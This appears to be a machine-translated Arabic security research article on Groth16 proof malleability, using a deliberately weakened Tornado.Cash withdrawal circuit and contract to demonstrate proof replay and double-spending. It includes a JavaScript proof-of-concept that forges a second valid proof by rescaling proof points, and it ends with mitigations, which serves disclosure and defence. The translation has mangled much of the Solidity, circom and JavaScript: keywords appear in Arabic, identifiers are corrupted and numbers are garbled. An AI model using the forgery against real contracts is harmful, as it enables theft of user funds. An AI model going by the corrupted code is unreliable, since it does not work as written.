في المقالة السابقة ، شرحنا ثغرات المرونة في نظام الإثبات Groth16 نفسه من منظور المبدأ. في هذه المقالة ، سوف نأخذ Tornado.Cash كمثال ، تعديل بعض دوائره وأكواده ، إدخال هجوم القابلية للتطويع العملية وآمل أن تهتم أطراف مشروع zkp الأخرى أيضًا بالتدابير الوقائية المقابلة في المشروع. من بينها ، يستخدم Tornado.Cash مكتبة snarkjs للتطوير ، والتي تستند أيضًا إلى عملية التطوير التالية ، وسيتم تقديمها مباشرة لاحقًا.إذا لم تكن على دراية بالمكتبة ، يرجى قراءة المقالة الأولى في هذه السلسلة. (Beosin | تحليل متعمق لثغرة zk-SNARK برهان المعرفة الصفرية: لماذا لا يكون نظام إثبات المعرفة الصفرية مضمونًا؟)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)
(مصدر:
تتضمن عملية تفاعل Tornado.Cash بشكل أساسي 4 كيانات: * المستخدم: استخدم DApp هذا لإجراء معاملات الخصوصية مع الخلاط ، بما في ذلك عمليات الإيداع والسحب.
يقوم المستخدم أولاً بإجراء العمليات المقابلة على صفحة الويب الأمامية لـ Tornado. نقود لبدء معاملة إيداع أو سحب ، ثم يقوم المرحل بإعادة توجيه طلب المعاملة إلى عقد Tornado.Cash Proxy على السلسلة ، ثم يحيله إلى المقابل المقابل تجمع وفقًا لمبلغ المعاملة ، وأخيراً لمعالجة الإيداعات والسحوبات ، يكون الهيكل المحدد كما يلي:! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) كخلاط عملات ، لدى Tornado.Cash وظيفتان محددتان للعمل: * الإيداع: عند المستخدم يُجري معاملة إيداع ، ويختار أولاً رمز الإيداع (BNB ، ETH ، إلخ) والمبلغ المقابل على صفحة الويب الأمامية.من أجل ضمان خصوصية المستخدم بشكل أفضل ، يمكن إيداع أربعة مبالغ فقط ؛
! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)
المصدر: <
ثم يقوم الخادم بتوليد رقمين عشوائيين مكونين من 31 بايتًا وسريًا ، وبعد تجزيئهما معًا ، قم بإجراء عملية pedersenHash للحصول على الالتزام ، وإعادة المبطل + السر بالإضافة إلى البادئة كملاحظة للمستخدم. الملاحظة هي كما يلي :! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”) * ثم تبدأ معاملة الإيداع لإرسال الالتزام والبيانات الأخرى إلى Tornado.Cash Proxy العقد على السلسلة ، يقوم العقد بالوكالة بإعادة توجيه البيانات إلى المجمع المقابل وفقًا لمبلغ الإيداع ، وأخيراً يُدرج عقد التجمع الالتزام كعقدة ورقية في شجرة Merkle ، ويخزن الجذر المحسوب في عقد التجمع.
! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)
مصدر الصورة: <* ثم يقوم الخادم باسترداد جميع أحداث الإيداع الخاصة بـ Tornadocash ضمن السلسلة ، واستخراج الالتزامات لبناء شجرة Merkle ضمن السلسلة ، وإنشاء الالتزام والمطابقة Merkle وفقًا لبيانات الملاحظة (nullifier + secret) المعطى بواسطة مسار المستخدم والجذر المقابل كمدخلات دائرة للحصول على إثبات SNARK للمعرفة الصفرية ؛ أخيرًا ، يتم بدء معاملة سحب إلى Tornado.Cash Proxy عقد على السلسلة ، ثم ينتقل إلى عقد التجمع المقابل للتحقق الإثبات وفقًا للمعايير ، ويتم إضافة الأموال إلى عنوان المستلم المحدد من قبل المستخدم.
من بينها ، جوهر الانسحاب من Tornado.Cash هو في الواقع إثبات وجود التزام معين على شجرة Merkle دون الكشف عن المبطل والسر الذي يحتفظ به المستخدم. هيكل شجرة Merkle المحدد هو كما يلي:! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”) ## ** 2 Tornado.Cash magic النسخة المعدلة **
بالنسبة للمقالة الأولى ، مبدأ هجوم المرونة Groth16 ، نعلم أن المهاجم يمكنه في الواقع إنشاء عدة أدلة مختلفة باستخدام نفس المبطل والسري. إذا لم يفكر المطور في هجوم الإنفاق المزدوج الناتج عن إعادة عرض الإثبات ، فسيهدد تمويل المشروع . ** قبل التعديل السحري لـ Tornado.Cash ، تقدم هذه المقالة أولاً الكود الموجود في المسبح حيث يتولى Tornado.Cash أخيرًا معالجة الانسحاب:
/ \ * \ *dev سحب وديعة من العقد. الإثبات عبارة عن بيانات إثبات zkSNARK ، والإدخال عبارة عن مجموعة من مصفوفة المدخلات العامة للدائرة تتكون من: - جذر Merkle لجميع الإيداعات في العقد - تجزئة إلغاء الإيداع الفريد لمنع الإنفاق المزدوج - مستلم الأموال - رسوم اختيارية تذهب إلى مرسل المعاملة (عادةً ما يكون مرحلًا) \ * / سحب الوظيفة (بايت بيانات المكالمة \ _ عازلة ، بايت 32 \ _ الجذر ، بايت 32 \ _nullifierHash ، العنوان المستحق الدفع \ _المستلم ، العنوان المستحق الدفع \ _ relayer ، uint256 \ _ الرسوم ، uint256 \ _ استرداد) غير مستأجر خارجي مستحق الدفع { تتطلب (\ _ الرسم <= المذهب ، “الرسوم تتجاوز قيمة التحويل”) ؛ تتطلب (! nullifierHashes [\ _ nullifierHash]، “تم إنفاق الملاحظة بالفعل”)؛ تتطلب (isKnownRoot (\ _ root) ، “لا يمكن العثور على جذر Merkle الخاص بك”) ؛ // تأكد من استخدام آخر يتطلب (verifier.verifyProof (\ _proof، [uint256 (\ _ root)، uint256 (\ _ nullifierHash)، uint256 (\ _ Receiver)، uint256 (\ _ relayer)، \ _fee، \ _refund]) ، “إثبات سحب غير صالح”) ؛ nullifierHashes [\ _ nullifierHash] = صحيح ؛ \ _عملية سحب (\ _ المستلم ، \ _ relayer ، \ _ رسوم ، \ _ استرداد) ؛ ينبعث الانسحاب (\ _ المستلم ، \ _nullifierHash ، \ _ relayer ، \ _fee) ؛ }
في الشكل أعلاه ، من أجل منع المهاجمين من استخدام نفس الدليل لتنفيذ هجمات مزدوجة الإنفاق دون الكشف عن المبطل والسري ، يضيف Tornado.Cash أداة إلغاء إشارة عامة إلى الدائرة ، والتي يتم الحصول عليها عن طريق تجزئة بيدرسن للبطل. ويمكن استخدامه كمعامل تم تمريره إلى السلسلة ، ثم يستخدم عقد المجمع هذا المتغير لتحديد ما إذا كان قد تم استخدام إثبات صحيح. ومع ذلك ، إذا لم يستخدم طرف المشروع طريقة تعديل الدائرة ، ولكنه يسجل طريقة الإثبات مباشرةً لمنع الإنفاق المزدوج ، ففي النهاية ، يمكن أن يقلل ذلك من قيود الدائرة ويوفر التكاليف ، ولكن هل يمكنه تحقيق الهدف؟ بالنسبة لهذا التخمين ، ستحذف هذه المقالة إشارة nullifierHash العامة المضافة حديثًا في الدائرة ، وتغيير التحقق من العقد إلى إثبات التحقق. منذ حصول Tornado.Cash على جميع أحداث الإيداع في كل مرة يتم فيها الانسحاب ، ويبني شجرة Merkle ثم يتحقق مما إذا كانت قيمة الجذر التي تم إنشاؤها ضمن آخر 30 ، فإن العملية برمتها مزعجة للغاية ، لذلك ستحذف الدائرة في هذه المقالة أيضًا دائرة merkleTree ، يتم ترك الدائرة الأساسية لجزء السحب فقط ، وتكون الدائرة المحددة كما يلي:
تشمل “…/…/…/…/node_modules/circomlib/circuits/bitify.circom” ؛ تضمين “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”؛// يحسب Pedersen (المبطل + السر) نموذج CommitmentHasher () {مُبطل إدخال الإشارة ؛ سر إدخال الإشارة ؛ التزام خرج الإشارة ؛ // إشارة الخرج المبطل // حذف عنصر التزامهاشر = بيدرسن (496) ؛ // component nullifierHasher = Pedersen (248) ؛ مكون nullifierBits = Num2Bits (248) ؛ المكون secretBits = Num2Bits (248) ؛ nullifierBits.in <== المبطل ؛ secretBits.in <== سر ؛ لـ (i = 0 ؛ i <248 ؛ i ++) {// nullifierHasher.in [i] <== nullifierBits.out [i] ؛ // حذف الالتزام [i] <== nullifierBits.out [i] ؛ التزام Hasher.in [i + 248] <== secretBits.out [i] ؛ } التزام <== التزام Hasher.out [0] ؛ // nullifierHash <== nullifierHasher.out [0] ؛ // delete} // تتحقق من أن الالتزام الذي يتوافق مع السر والمُبطل المحدد متضمن في شجرة Merkle للودائع التي تلتزم بإخراج الإشارات ؛ مستلم إدخال الإشارة ؛ // عدم المشاركة في أي حسابات لإدخال إشارة الإدخال ؛ // عدم المشاركة في أي رسوم إدخال إشارة حسابية ؛ // عدم المشاركة في أي استرداد لإدخال إشارة حسابية ؛ // عدم المشاركة في أي حسابات لإبطال إدخال إشارة ؛ سر إدخال الإشارة ؛ تجزئة المكون = CommitmentHasher () ، hasher.nullifier <== nullifier ؛ hasher.secret <== secret؛ الالتزام <== hasher.commitment ؛ // أضف إشارات مخفية للتأكد من أن العبث بالمستلم أو الرسوم سيؤدي إلى إبطال إثبات الشق // على الأرجح أنه ليس مطلوبًا ، ولكن من الأفضل البقاء في الجانب الآمن ولا يتطلب الأمر سوى قيدين فقط // يتم استخدام المربعات لمنع محسن من إزالة تلك القيود إشارة المتلقي مربع ؛ رسوم الإشارةمربع ؛ مرحل الإشارة استرداد الإشارة مربع المستلم <== المستلم \ * المستلم ؛ رسوم مربع <== رسوم \ * رسوم ؛ relayerSquare <== relayer \ * relayer ؛ استرداد مربع <== استرداد \ * استرداد ؛} مكون رئيسي = سحب (20) ؛
الإثبات: {pi_a: [12731245758885665844440940942625335911548255472545721927606279036884288780352n، 1102956704503334056654836789330405294645731963296066905393227192287626] 44564670704503334056654836789330405294645731963296066905393227192287626] 187546754094667837383166479615474515182183878046002081n، 8088104569927474555610665242983621221932062943927262293572649061565902268616n] ، [919424846311598694098111942484631159869409811 6n، 18373139073981696655136870665800393986130876498128887091087060068369811557306n]، [1n، 0n]]، pi_c: [1626407734863381433630916916203225704171957179582490143 178253544576299821079735144068419595539416984653646546215n ، 1n] ، البروتوكول: "groth16 منحنى: “bn128”}
بادئ ذي بدء ، نستخدم العقد الافتراضي الذي تم إنشاؤه بواسطة circom للتحقق. نظرًا لأن العقد لا يسجل أي معلومات متعلقة بالإثبات تم استخدامها على الإطلاق ، يمكن للمهاجم إعادة عرض الإثبات 1 عدة مرات للتسبب في هجوم مزدوج الإنفاق. في التجارب التالية ، يمكن إعادة الإثبات بلا حدود لنفس المدخلات من نفس الدائرة ، ويمكن لكل منهم اجتياز التحقق. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) الصورة أدناه هي لقطة شاشة للتجربة باستخدام proof1 في العقد الافتراضي لإثبات أن التحقق تم اجتيازه ، بما في ذلك المقالة السابقة معاملات الإثبات A و B و C المستخدمة في ، والنتيجة النهائية:
! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)
الشكل أدناه هو نتيجة استخدام نفس الإثبات 1 لاستدعاء وظيفة التحقق عدة مرات للتحقق من الإثبات. وجدت التجربة أنه بالنسبة للإدخال نفسه ، بغض النظر عن عدد المرات التي استخدم فيها المهاجم الإثبات 1 للتحقق ، يمكن أن يمر:! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) بالطبع ، نحن نختبر في مكتبة أكواد js الأصلية من snarkjs ، ولم نختبر الدليل المستخدم بالفعل والذي تم تمريره للحماية ، النتائج التجريبية هي كما يلي: ## ** 2.2.2 إثبات التحقق - عقد عادي ضد إعادة التشغيل **
بالنسبة لثغرة إعادة التشغيل في العقد الافتراضي الذي تم إنشاؤه بواسطة circom ، تسجل هذه المقالة قيمة في الدليل الصحيح (الإثبات 1) الذي تم استخدامه لمنع هجمات الإعادة باستخدام الدليل الذي تم التحقق منه ، كما هو موضح في الشكل التالي:! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) استمر في استخدام الإثبات 1 للتحقق. وجدت التجربة أنه عند استخدام نفس الدليل للتحقق الثانوي ، تم إرجاع المعاملة خطأ: “تم صرف الملاحظة بالفعل” ، والنتيجة كما هو موضح في الشكل أدناه:! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) ولكن ** على الرغم من أن الغرض من منع هجمات إعادة الإثبات العادية قد تحقق في هذا الوقت ، المقدمة السابقة هناك مشكلة قابلية للضعف في خوارزمية groth16 ، ولا يزال من الممكن تجاوز هذا الإجراء الوقائي. لذلك قمنا ببناء PoC في الشكل أدناه ، وقمنا بإنشاء شهادة zk-SNARK وهمية لنفس المدخلات وفقًا للخوارزمية في المقالة الأولى.وجدت التجربة أنه لا يزال بإمكانها اجتياز التحقق. كود PoC لتوليد الإثبات المزور 2 هو كما يلي: **
استيراد WasmCurve من “/Users/saya/node_modules/ffjava/src/wasm_curve.js"import ZqField من” /Users/saya/node_modules/ffjava/src/f1field.js"import groth16FullProve من “/ Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16 تحقق من “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”؛import \ * كمنحنيات من” / Users /saya/node_modules/snarkjs/src/curves.js"؛ استيراد fs من “fs”؛ استيراد {utils} من “ffjava”؛ const {unstringifyBigInts} = utils؛ groth16 \ _exp ()؛ دالة غير متزامنة groth16 \ _exp () {let inputA = “7” ؛ اسمحوا inputB = “11” ؛ const SNARK \ _FIELD \ _SIZE = BigInt (‘21888242871839275222246405745257275088548364400416034343698204186575808495617’) ؛ // 2. 读取 string 后 转化 为 int const proof = wait unstringifyBigInts (JSON.parse (fs.readFileSync (“proof.json”، “utf8”))) ؛ console.log (“الدليل:” ، إثبات) ؛ // 生成 逆 元 , 生成 的 逆 元 必须 在 F1 域 const F = new ZqField (SNARK \ _FIELD \ _SIZE) ؛ // const F = حقل F2F جديد (SNARK \ _FIELD \ _SIZE) ؛ const X = Fe (“123456”) const invX = F.inv (X) console.log (“x:”، X) console.log (“invX”، invX) console.log (“The timesScalar is:”، F.mul (X، invX)) // 读取 椭圆 曲线 G1 、 G2 点 const vKey = JSON.parse (fs.readFileSync (“verification \ _key.json”، “utf8”)) ؛ // console.log (“المنحنى هو:” ، vKey) ؛ منحنى const = انتظار curves.getCurveFromName (vKey.curve) ؛ const G1 = curve.G1 ؛ const G2 = curve.G2 ؛ const A = G1.fromObject (proof.pi \ _a) ؛ const B = G2.fromObject (إثبات .pi \ _b) ؛ const C = G1.fromObject (proof.pi \ _c) ؛ const جديد \ _pi \ _a = G1.timesScalar (A ، X) ؛ // A '= x \ * A const new \ _pi \ _b = G2.timesScalar (B ، invX) ؛ // B '= x ^ {- 1} \ * B proof.pi \ _a = G1.toObject (G1.toAffine (A)) ؛ proof.new \ _pi \ _a = G1.toObject (G1.toAffine (new \ _pi \ _a)) proof.new \ _pi \ _b = G2.toObject (G2.toAffine (new \ _pi \ _b)) // 将 生成的 G1 、 G2 点 转化 为 دليل console.log (“proof.pi \ _a:”، proof.pi \ _a) ؛ console.log (“proof.new \ _pi \ _a:”، proof.new \ _pi \ _a) console.log (“proof.new \ _pi \ _b:”، proof.new \ _pi \ _b)}
يظهر الإثبات المزور 2 في الشكل أدناه: عند استخدام هذه المعلمة لاستدعاء وظيفة التحقق من الإثبات مرة أخرى للتحقق من الإثبات ، وجدت التجربة أن التحقق من الإثبات 2 مر مرة أخرى في حالة نفس الإدخال ، كما هو موضح أدناه:! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) على الرغم من أن البرهان المزور 2 لا يمكن استخدامه إلا مرة أخرى ، بسبب التزوير هناك عدد لا نهائي تقريبًا من البراهين ، لذلك قد يتسبب في سحب أموال العقد إلى ما لا نهاية. تستخدم هذه المقالة أيضًا رمز js الخاص بمكتبة circom للاختبار ، ويمكن للنتائج التجريبية proof1 و proof2 المزيفة اجتياز التحقق:! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”) ## ** 2.2.3 إثبات التحقق - عقد إعادة الدفع النقدي **
بعد العديد من الإخفاقات ، ألا توجد طريقة للقيام بذلك مرة واحدة وإلى الأبد؟ هنا ، وفقًا لممارسة Tornado.Cash للتحقق مما إذا كان قد تم استخدام الإدخال الأصلي ، تستمر هذه المقالة في تعديل رمز العقد على النحو التالي:! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) تجدر الإشارة إلى أنه من أجل توضيح الإجراءات البسيطة لمنع الهجوم المرن خوارزمية groth16 ، \ * \ * تتبنى هذه المقالة طريقة التسجيل المباشر لإدخال الدائرة الأصلية ، لكن هذا لا يتوافق مع مبدأ الخصوصية لإثبات عدم المعرفة ، ويجب الحفاظ على سرية إدخال الدائرة. \ * \ * على سبيل المثال ، المدخلات في Tornado.Cash كلها خاصة ، ويجب إضافة مدخلات عامة جديدة لتحديد إثبات. في هذا البحث ، نظرًا لعدم وجود شعار جديد في الدائرة ، فإن الخصوصية ضعيفة نسبيًا مقارنة بـ Tornado.Cash ، ويستخدم فقط كعرض تجريبي لإظهار النتائج على النحو التالي:! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”). في المرة الأولى ، لا يمكن أن يجتاز الإثبات 1 ولا الإثبات المزور 2 التحقق. ## ** 3 ملخص وتوصيات **
تتحقق هذه الورقة بشكل أساسي من صحة وأضرار ثغرة إعادة العرض من خلال تعديل دائرة TornadoCash واستخدام العقد الافتراضي الذي تم إنشاؤه بواسطة Circom ، والذي يستخدمه المطورون بشكل شائع ، ويتحقق كذلك من أن الإجراءات الشائعة المستخدمة على مستوى العقد يمكن أن تحمي من إعادة العرض الثغرة الأمنية ، ولكن لا يمكن منعها. هجوم Groth16 المرن ، في هذا الصدد ، نوصي بأن تنتبه مشاريع إثبات المعرفة الصفرية إلى ما يلي أثناء تطوير المشروع: * على عكس DApps التقليدية التي تستخدم بيانات فريدة مثل العناوين لإنشاء بيانات العقدة ، zkp عادةً ما تستخدم المشاريع مجموعة من الأرقام العشوائية لإنشاء عُقد شجرة Merkle ، عليك الانتباه إلى ما إذا كان منطق العمل يسمح بإدخال العقد بنفس القيمة. ** لأن بيانات العقدة الطرفية نفسها قد تتسبب في قفل بعض أموال المستخدم في العقد ، أو أن هناك عدة أدلة Merkle في نفس بيانات العقدة الطرفية التي تربك منطق الأعمال. **